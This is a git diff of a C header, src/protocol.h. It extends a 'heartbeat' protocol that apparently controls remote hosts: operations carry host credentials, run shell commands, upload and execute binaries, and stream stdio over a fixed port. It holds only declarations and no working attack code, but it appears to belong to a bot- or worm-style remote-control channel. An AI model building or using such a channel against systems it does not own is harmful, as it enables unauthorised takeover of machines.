diff options
Diffstat (limited to 'src/protocol.h')
-rw-r--r-- | src/protocol.h | 81 |
1 files changed, 62 insertions, 19 deletions
diff --git a/src/protocol.h b/src/protocol.h index 09fa837..0b49f78 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -15,6 +15,7 @@ typedef struct prne_htbt_host_info prne_htbt_host_info_t; typedef struct prne_htbt_msg_head prne_htbt_msg_head_t; typedef struct prne_htbt_cmd prne_htbt_cmd_t; typedef struct prne_htbt_bin_meta prne_htbt_bin_meta_t; +typedef struct prne_htbt_stdio prne_htbt_stdio_t; typedef enum { PRNE_ARCH_NONE = -1, @@ -59,8 +60,9 @@ struct prne_host_cred { char *pw; }; -/* All messages start with uint16_t 'msg_id', whose most significant bit is used -* to indicate whether the message is a initiation(1) or a response(0). +/* Heartbeat Frame OP Codes +* All messages start with uint16_t 'msg_id', whose most significant bit is +* used to indicate whether the message is a initiation(1) or a response(0). * 'msg_id' is a randomly generated by either end of connection. The value 0 is * only valid for `PRNE_HTBT_OP_NOOP`(so that NOOP message is either 23 or 24 * zeros over the wire). @@ -78,7 +80,7 @@ typedef enum { * uint8_t code: prne_htbt_status_t * int32_t err: errno value(used for `PRNE_HTBT_STATUS_ERRNO`) */ - PRNE_HTBT_OP_STATUS, + PRNE_HTBT_OP_STATUS, /* Host Info Operation: followed by nothing * * The submissive end's response format: @@ -120,8 +122,9 @@ typedef enum { * TODO * * Followed by - * uint4_t rsv - * uint12_t args_len : the length of 'args' + * uint5_t rsv + * uint1_t detach + * uint10_t args_len : the length of 'args' * char args[len] : the series of null-terminated string for exec*() */ PRNE_HTBT_OP_RUN_CMD, @@ -130,8 +133,9 @@ typedef enum { * * Followed by: * uint24_t bin_len - * uint4_t rsv - * uint12_t args_len + * uint5_t rsv + * uint1_t detach + * uint10_t args_len * char args[args_len] * uint8_t bin[bin_len] */ @@ -141,12 +145,21 @@ typedef enum { * * Followed by: * uint24_t bin_len - * uint4_t rsv - * uint12_t args_len + * uint5_t rsv + * uint1_t detach + * uint10_t args_len * char args[args_len] * uint8_t bin[bin_len] */ PRNE_HTBT_OP_RUN_BIN, + /* STDIO Frame + * + * uint1_t err : 0 - stdin/stdout, 1 - stderr + * uint1_t fin + * uint2_t rsv + * uint12_t len + */ + PRNE_HTBT_OP_STDIO, NB_PRNE_HTBT_OP } prne_htbt_op_t; @@ -154,6 +167,7 @@ PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFE); typedef enum { PRNE_HTBT_STATUS_OK, + PRNE_HTBT_STATUS_UNIMPL, /* Protocol error detected. Mosts likely a format error. * An int32_t that follows is not used. */ @@ -209,7 +223,8 @@ struct prne_htbt_cmd { char *mem; size_t mem_len; char **args; - uint16_t argc; + uint8_t argc; + bool detach; }; struct prne_htbt_bin_meta { @@ -217,16 +232,35 @@ struct prne_htbt_bin_meta { prne_htbt_cmd_t cmd; }; -typedef void(prne_htbt_init_ft)(void *ptr); -typedef void(prne_htbt_free_ft)(const void *ptr); -typedef bool(prne_htbt_eq_ft)(const void *a, const void *b); -typedef prne_htbt_ser_rc_t(prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in); -typedef prne_htbt_ser_rc_t(prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out); +struct prne_htbt_stdio { + size_t len; + bool err; + bool fin; +}; + +typedef void(*prne_htbt_init_ft)(void *ptr); +typedef void(*prne_htbt_free_ft)(const void *ptr); +typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b); +typedef prne_htbt_ser_rc_t(*prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in); +typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out); -#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 99 + 3 + 255 + 255) // PRNE_HTBT_OP_HOST_INFO #define PRNE_HTBT_PROTO_PORT (uint16_t)64420 -#define PRNE_HTBT_ARGS_MAX 1024 // _POSIX_ARG_MAX equiv -#define PRNE_HTBT_ARG_MEM_MAX 4095 // bash limit +#define PRNE_HTBT_ARGS_MAX 255 // _POSIX_ARG_MAX equiv +#define PRNE_HTBT_ARG_MEM_MAX 1023 +#define PRNE_HTBT_STDIO_LEN_MAX 0x0FFF + +/* PRNE_HTBT_PROTO_MIN_BUF +* +* Minimum size of buffer required to implement parsing of stream. Set to size +* required to deserialise PRNE_HTBT_OP_NY_BIN and PRNE_HTBT_OP_RUN_BIN. +*/ +#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 5 + PRNE_HTBT_ARG_MEM_MAX) +/* PRNE_HTBT_PROTO_SUB_MIN_BUF +* +* Required write buffer size for submissive end. Set to that of +* PRNE_HTBT_OP_HOST_INFO. +*/ +#define PRNE_HTBT_PROTO_SUB_MIN_BUF ((size_t)3 + 94 + 255) const char *prne_arch_tostr (const prne_arch_t x); @@ -249,6 +283,7 @@ void prne_init_host_cred (prne_host_cred_t *hc); bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len); void prne_free_host_cred (prne_host_cred_t *hc); bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b); +// TODO: base64 encode prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in); prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out); @@ -258,7 +293,7 @@ void prne_htbt_free_host_info (prne_htbt_host_info_t *hi); bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b); void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd); -bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const uint16_t argc, const size_t *args_len); +bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len); bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args); void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd); bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b); @@ -267,14 +302,22 @@ void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb); void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb); bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b); +void prne_htbt_init_stdio (prne_htbt_stdio_t *s); +void prne_htbt_free_stdio (prne_htbt_stdio_t *s); +bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b); + prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in); prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in); prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in); +prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in); prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out); prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out); prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out); prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out); prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out); + +char **prne_htbt_parse_args (char *m_args, const size_t args_size, const size_t add_argc, char **add_args, size_t *argc, const size_t max_args); |